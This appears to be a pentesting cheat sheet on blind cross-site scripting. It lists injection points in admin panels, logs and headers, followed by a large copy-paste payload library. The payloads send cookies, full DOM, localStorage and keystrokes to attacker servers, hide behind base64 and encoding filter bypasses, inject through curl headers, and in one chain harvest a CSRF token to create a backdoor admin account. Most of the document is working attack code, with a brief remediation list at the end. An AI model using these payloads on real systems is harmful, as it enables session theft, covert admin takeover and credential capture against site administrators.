Blind XSS: Detection, Delivery & Exfiltration
Severity: Critical (targets privileged users) CWE: CWE-79 | OWASP: A03:2021 Reference: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
What Is Blind XSS?
Blind XSS is a subtype of stored XSS where the payload fires in a context you cannot directly observe: an admin panel, an internal log viewer, a support dashboard, a PDF report renderer, or an email client. You inject it and wait — when the privileged user loads the page, you receive a callback.
The impact is disproportionately high: the payload executes in an authenticated admin session with elevated permissions.
Where Blind XSS Fires
[ADMIN-TARGETING INJECTION POINTS]
Support ticket subject / body → admin opens ticket
Contact form name / email → admin views in CRM
Bug report description → security team reviews
User registration fields → admin views user list
Username / display name → shown in admin panel
Bio / address / company field → admin user management
File upload filename → shown in file manager
[HTTP HEADER SINKS — logged and rendered]
User-Agent → access log viewer in admin
Referer → referral analytics dashboard
X-Forwarded-For → IP-based log renderer
Accept-Language → localization log / debug panel
Cookie value → cookie logger / session viewer
[AUTOMATED PIPELINE SINKS]
CSV / Excel import → field rendered in data table
XML / JSON import → field rendered in dashboard
API webhooks stored for replay → webhook log viewer
Error messages → error log dashboard (renders user input in message)
Search queries → search analytics (admin reviews top searches)
Notification templates → rendered in notification center
[EXTERNAL EMAIL CLIENTS]
Contact form → rendered in Outlook/Gmail (may execute in preview)
Unsubscribe reason field → rendered in marketing platform
Invoice/order fields → rendered in finance dashboard
Blind XSS Platforms
XSSHunter (Trufflesecurity — recommended)
# Sign up at: https://xsshunter.trufflesecurity.com
# Get your unique payload:
<script src="https://js.rip/YOURPAYLOAD"></script>
# When fired, you receive a report containing:
# - URL where it fired
# - DOM snapshot (full HTML)
# - Cookies (HttpOnly excluded)
# - Screenshot (headless browser)
# - Referrer, user agent
# - Timestamp
# Alternative hosted instances:
https://xss.report/
https://ezxss.com/
Interactsh (for DNS/HTTP OOB confirmation)
# Free public server:
interactsh-client -v
# Get: abc123.oast.fun
# Self-hosted:
go install github.com/projectdiscovery/interactsh/cmd/interactsh-server@latest
interactsh-server -domain your-domain.com
# Payload:
<script>fetch('https://abc123.oast.fun/?cookie='+document.cookie)</script>
<img src=x onerror="fetch('https://abc123.oast.fun/?c='+document.cookie)">
Burp Collaborator (Burp Pro)
# Generate collaborator payload from Burp:
# Burp menu → Burp Collaborator client → Copy to clipboard
# Use: abc123.burpcollaborator.net or abc123.oastify.com
# "Collaborator Everywhere" extension:
# Auto-injects collaborator URLs in all parameters / headers
# Best for passive blind XSS hunting during normal browsing
# Extension: "Blind XSS" (fires collaborator on XSS execution)
Self-Hosted Receiver
# Minimal HTTP listener:
python3 -m http.server 80
# Any request to your IP appears in terminal
# Netcat listener:
nc -lvnp 80
# Full logging server (Python):
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse, datetime
class H(BaseHTTPRequestHandler):
def do_GET(self):
print(f'[{datetime.datetime.now()}] {self.path}')
print(f' UA: {self.headers.get(\"User-Agent\")}')
self.send_response(200)
self.end_headers()
def log_message(self, *a): pass
HTTPServer(('0.0.0.0', 80), H).serve_forever()
"
Payload Library — All Encoding Variants
Primary Blind XSS Payloads (XSSHunter style)
[RAW]
<script src="https://js.rip/PAYLOAD"></script>
<script src="//js.rip/PAYLOAD"></script>
[HTML ENTITY — angle brackets]
<script src=https://js.rip/PAYLOAD></script>
<script src=https://js.rip/PAYLOAD></script>
[URL ENCODED]
%3Cscript%20src%3Dhttps%3A%2F%2Fjs.rip%2FPAYLOAD%3E%3C%2Fscript%3E
[DOUBLE URL ENCODED]
%253Cscript%2520src%253Dhttps%253A%252F%252Fjs.rip%252FPAYLOAD%253E%253C%252Fscript%253E
[HTML COMMENT BREAK — bypass keyword filters]
<scr<!--esi-->ipt src=https://js.rip/PAYLOAD></scr<!--esi-->ipt>
<scr<!---->ipt src=//js.rip/PAYLOAD></script>
Inline Blind XSS (when external script blocked)
[FETCH to your server — cookie exfil]
<script>fetch('https://YOUR_SERVER/?c='+encodeURIComponent(document.cookie))</script>
<img src=x onerror="fetch('https://YOUR_SERVER/?c='+document.cookie)">
<svg onload="fetch('https://YOUR_SERVER/?c='+document.cookie)">
[HTML ENTITY — event value encoded]
<img src=x onerror="fetch('https://YOUR_SERVER/?c='+document.cookie)">
<img src=x onerror="fetch('https://YOUR_SERVER/?c='+document.cookie)">
[BASE64 EVAL — survives most keyword filters]
<img src=x onerror="eval(atob('ZmV0Y2goJ2h0dHBzOi8vWU9VUl9TRVJWRVI/Yz0nK2RvY3VtZW50LmNvb2tpZSk='))">
<!-- Decoded: fetch('https://YOUR_SERVER/?c='+document.cookie) -->
[URL ENCODED]
%3Cimg%20src%3Dx%20onerror%3D%22fetch('https://YOUR_SERVER/?c='+document.cookie)%22%3E
%3Csvg%20onload%3D%22fetch('https://YOUR_SERVER/?c='+document.cookie)%22%3E
[DOUBLE URL ENCODED]
%253Cimg%2520src%253Dx%2520onerror%253D%2522fetch('https://YOUR_SERVER/?c='+document.cookie)%2522%253E
[DOM DUMP — full page sent to your server]
<script>fetch('https://YOUR_SERVER/?h='+btoa(document.documentElement.outerHTML))</script>
<script>
fetch('https://YOUR_SERVER/', {
method: 'POST',
body: JSON.stringify({
cookie: document.cookie,
url: location.href,
dom: document.documentElement.outerHTML
})
});
</script>
[IMAGE BEACON — minimal, no fetch API needed]
<script>new Image().src='https://YOUR_SERVER/?c='+encodeURIComponent(document.cookie)</script>
<img src=x onerror="new Image().src='https://YOUR_SERVER/?c='+document.cookie">
[NAVIGATOR BEACON — fire-and-forget, no response needed]
<script>navigator.sendBeacon('https://YOUR_SERVER/', document.cookie)</script>
Blind XSS in HTTP Headers (Burp Repeater / curl)
# User-Agent injection:
curl -A "<script src=https://js.rip/PAYLOAD></script>" https://target.com/
curl -A "<img src=x onerror=fetch('https://YOUR_SERVER/?c='+document.cookie)>" https://target.com/
curl -A "<script src=https://js.rip/PAYLOAD></script>" https://target.com/
curl -A "%3Cscript%20src%3Dhttps%3A%2F%2Fjs.rip%2FPAYLOAD%3E%3C%2Fscript%3E" https://target.com/
# Referer injection:
curl -e "<script src=https://js.rip/PAYLOAD></script>" https://target.com/
curl -H "Referer: <img src=x onerror=fetch('https://YOUR_SERVER/?c='+document.cookie)>" https://target.com/
# X-Forwarded-For:
curl -H "X-Forwarded-For: <script>fetch('https://YOUR_SERVER/?c='+document.cookie)</script>" https://target.com/
curl -H "X-Forwarded-For: <script src=https://js.rip/P></script>" https://target.com/
# Accept-Language:
curl -H "Accept-Language: <img src=x onerror=fetch('https://YOUR_SERVER/?c='+document.cookie)>" https://target.com/
# Custom headers that may be logged:
curl -H "X-Real-IP: <script>alert(1)</script>" https://target.com/
curl -H "True-Client-IP: <script src=//js.rip/P></script>" https://target.com/
Quick Payload Reference — Copy-Paste Arsenal
<!-- HTML Entity Encoding -->
<script>alert(1)</script>
" onerror="fetch('https://xss.report/c/blitz')"
<img src="x" alt="" onerror="fetch('https://xss.report/c/blitz')"" />
<!-- URL Encoding -->
%3Cscript%3Ealert(1)%3C/script%3E
<!-- Unicode Escape -->
\u003Cscript\u003Ealert(1)\u003C/script\u003E
<!-- Dynamic Concatenation -->
<scr + ipt>alert(1)</scr + ipt>
<!-- Spaces in tag -->
<scr ipt>alert(1)</scr ipt>
<!-- SVG wrapper -->
<svg><script>alert(1)</script></svg>
<!-- JS event reassignment -->
<img src="x" onerror="this.src='javascript:alert(1)'">
<!-- Inline focus -->
<input value="XSS" onfocus="alert('XSS')">
<!-- CSS Expression -->
<div style="width:expression(alert(1));">Test</div>
<!-- Body onload — effective in blind XSS injected into page templates -->
<body onload="alert('XSS')">
<!-- Blind-specific: replace alert with real exfil -->
<body onload="fetch('https://xss.report/c/blitz')">
<body onload="fetch('https://xss.report/c/blitz')">
%3Cbody%20onload%3D%22fetch('https://xss.report/c/blitz')%22%3E
Context-Specific Payloads for Common Admin Panels
Admin Ticket / Support System
[SUBJECT FIELD — rendered in admin inbox list]
<img src=x onerror=fetch('https://YOUR_SERVER/?c='+document.cookie)>
<img src=x onerror=fetch('https://YOUR_SERVER/?c='+document.cookie)>
[BODY FIELD — rendered in ticket detail view]
<script src="https://js.rip/PAYLOAD"></script>
<img src=x onerror="eval(atob('ZmV0Y2goJ2h0dHBzOi8vWU9VUl9TRVJWRVI/Yz0nK2RvY3VtZW50LmNvb2tpZSk='))">
[NAME FIELD — rendered in sender column]
"><script src=https://js.rip/P></script>
"><img src=x onerror=fetch('https://YOUR_SERVER/?c='+document.cookie)>
"><script src=https://js.rip/P></script>
[EMAIL FIELD — rendered as link in admin]
xss@"><script src=https://js.rip/P></script>.com
"><img src=x onerror=fetch('https://YOUR_SERVER/?c='+document.cookie)>@x.com
Admin Log Viewers (rendered as table rows)
[USER-AGENT in log viewer]
<script src="https://js.rip/PAYLOAD"></script>
<img src=x onerror=fetch('https://YOUR_SERVER/?c='+document.cookie)>
[IP ADDRESS in log viewer — if not validated strictly]
<script>fetch('https://YOUR_SERVER/?c='+document.cookie)</script>
127.0.0.1<script src=//js.rip/P></script>
127.0.0.1%22%3E%3Cscript%20src%3D//js.rip/P%3E%3C/script%3E
[URL PATH in log viewer]
/%3Cscript%20src%3Dhttps%3A%2F%2Fjs.rip%2FP%3E%3C%2Fscript%3E
/<script src=https://js.rip/P></script>
Markdown Editors with Admin Preview
[LINK — javascript: href]
[Support Link](javascript:fetch('https://YOUR_SERVER/?c='+document.cookie))
[click here](javascript:eval(atob('ZmV0Y2goJ2h0dHBzOi8vWU9VUl9TRVJWRVI/Yz0nK2RvY3VtZW50LmNvb2tpZSk=')))
[INLINE HTML — if renderer allows it]
<script src="https://js.rip/PAYLOAD"></script>
<img src=x onerror="fetch('https://YOUR_SERVER/?c='+document.cookie)">
[IMAGE REFERENCE]
)
Advanced Exfiltration Payloads
Full DOM + Screenshot Equivalent
// Send full page HTML for manual review:
<script>
(function(){
var data = {
url: location.href,
cookie: document.cookie,
localStorage: JSON.stringify(localStorage),
sessionStorage: JSON.stringify(sessionStorage),
dom: document.documentElement.outerHTML.substring(0, 50000)
};
fetch('https://YOUR_SERVER/', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(data)
});
})();
</script>
CSRF Token Harvest + Exploit Chain
// Step 1: Harvest admin CSRF token
// Step 2: Use it to create backdoor admin account
<script>
fetch('/admin/dashboard').then(r=>r.text()).then(html=>{
// Extract CSRF token
let csrf = (html.match(/csrf[_-]?token[^"]*value="([^"]+)"/i)||[])[1]
||(html.match(/name="csrf[^"]*"[^>]*value="([^"]+)"/i)||[])[1]
||(document.querySelector('[name*=csrf]')||{}).value;
// Create backdoor admin user
if(csrf) {
fetch('/admin/users/create', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'X-CSRF-Token': csrf
},
body: 'username=backdoor&password=P@ss123!&role=admin&email=x@x.com'
}).then(r => {
fetch('https://YOUR_SERVER/?result='+r.status+'&csrf='+encodeURIComponent(csrf));
});
} else {
fetch('https://YOUR_SERVER/?csrf=NOT_FOUND&dom='+btoa(html.substring(0,5000)));
}
});
</script>
Keylogger — Captures Admin Input
<script>
(function(){
var buf = '';
document.addEventListener('keypress', function(e) {
buf += String.fromCharCode(e.which);
if(buf.length >= 30) {
new Image().src = 'https://YOUR_SERVER/k?d=' + encodeURIComponent(buf);
buf = '';
}
});
// Flush on unload:
window.addEventListener('beforeunload', function() {
if(buf) new Image().src = 'https://YOUR_SERVER/k?d=' + encodeURIComponent(buf);
});
})();
</script>
Polyglot Payloads — One Payload, Multiple Contexts
Polyglots fire in multiple injection contexts without knowing which one applies:
[POLYGLOT 1 — works in HTML body, attribute, and JS string]
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
[POLYGLOT 2 — attribute + HTML context]
\"'><img src=x onerror=fetch('https://YOUR_SERVER/?c='+document.cookie)>
%22%27%3E%3Cimg%20src%3Dx%20onerror%3Dfetch('https://YOUR_SERVER/?c='+document.cookie)%3E
[POLYGLOT 3 — covers JS string + HTML body + href]
'-fetch('https://YOUR_SERVER/?c='+document.cookie)-'
"-fetch('https://YOUR_SERVER/?c='+document.cookie)-"
</script><img src=x onerror=fetch('https://YOUR_SERVER/?c='+document.cookie)>
[POLYGLOT 4 — covers JSON + HTML + JS]
{"x":"</script><script>fetch('https://YOUR_SERVER/?c='+document.cookie)</script>"}
Tools
# PortSwigger XSS Cheat Sheet (filter by tag/event/encoding):
# https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
# XSSHunter — blind XSS with screenshot + DOM capture:
# https://xsshunter.trufflesecurity.com
# Burp Suite — blind XSS workflow:
# 1. Burp → Collaborator client → generate payload domain
# 2. Extension "Collaborator Everywhere" → auto-injects in all params/headers
# 3. Browse entire app while logged in → any stored input auto-tested
# 4. Check Collaborator for callbacks
# 5. Extension "Blind XSS" for specialized header injection
# interactsh for OOB HTTP/DNS:
interactsh-client -v
# Use: <img src=x onerror="fetch('https://UNIQUE.oast.fun/?c='+document.cookie)">
# dalfox for blind mode:
dalfox url "https://target.com/contact" \
--blind "https://YOUR_SERVER/" \
--method POST \
--data "name=INJECT&email=x@x.com&message=test"
# Manual header injection (Burp Repeater):
# Add to every request:
User-Agent: <script src=https://js.rip/PAYLOAD></script>
Referer: <img src=x onerror=fetch('https://YOUR_SERVER/?c='+document.cookie)>
X-Forwarded-For: <svg onload=fetch('https://YOUR_SERVER/?c='+document.cookie)>
# curl for quick header injection test:
curl -s -A "<img src=x onerror=fetch('https://YOUR_SERVER/?c='+document.cookie)>" \
-e "<script src=//js.rip/P></script>" \
https://target.com/ -o /dev/null
Remediation Reference
- Admin panels are not “safe” — user-generated content rendered in admin contexts must be treated with the same sanitization rigor as public content
- Output-encode all user data, even in internal admin interfaces
- HttpOnly on session cookies limits damage when XSS fires — attacker can’t directly steal cookie but can still perform actions as the admin
- CSP on admin panels:
script-src 'nonce-RANDOM' 'strict-dynamic'; default-src 'none' - Audit log viewer rendering: log entries must not be rendered as raw HTML
- HTTP header storage: sanitize before storing User-Agent, Referer, X-Forwarded-For
PortSwigger XSS Cheat Sheet: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet